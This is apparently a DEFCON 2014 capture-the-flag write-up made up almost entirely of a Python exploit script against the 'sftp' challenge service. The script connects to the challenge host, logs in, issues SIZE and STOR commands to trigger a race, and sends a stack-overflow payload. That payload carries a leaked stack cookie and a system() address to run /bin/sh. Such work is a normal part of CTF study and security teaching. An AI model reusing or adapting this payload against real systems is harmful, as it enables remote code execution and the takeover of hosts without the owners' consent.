DEFCON 2014 Writeup sftp

cause_race2.py

import time
import socket
from struct import *

def cause_race():
    stack = int(raw_input("stack: "),16)
    cookie = int(raw_input("cookie: "),16)
    system = int(raw_input("system: "),16)

    payload = ""
    payload += "/bin/sh\x00"
    payload += "a"*(924-53-len(payload))
    payload += pack("<I", cookie)
    payload += "a"*12
    payload += pack("<I", system)
    payload += pack("<I", 0xdeadbeef)
    payload += pack("<I", stack)
    #open("payload", "wb")

    tmp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #tmp.connect(('localhost', 115))
    tmp.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))
    print tmp.recv(4096)
    tmp.send("PASS defcon2014\n")
    print tmp.recv(4096)
    tmp.send("KILL a\n")
    print tmp.recv(4096)
    tmp.send("STOR OLD a\n")
    print tmp.recv(4096)
    tmp.send("SIZE " + str(len(payload)) + "\n")
    print tmp.recv(4096)
    for i in range(len(payload)):
        tmp.sendall(payload[i])
    tmp.close()

cause_race()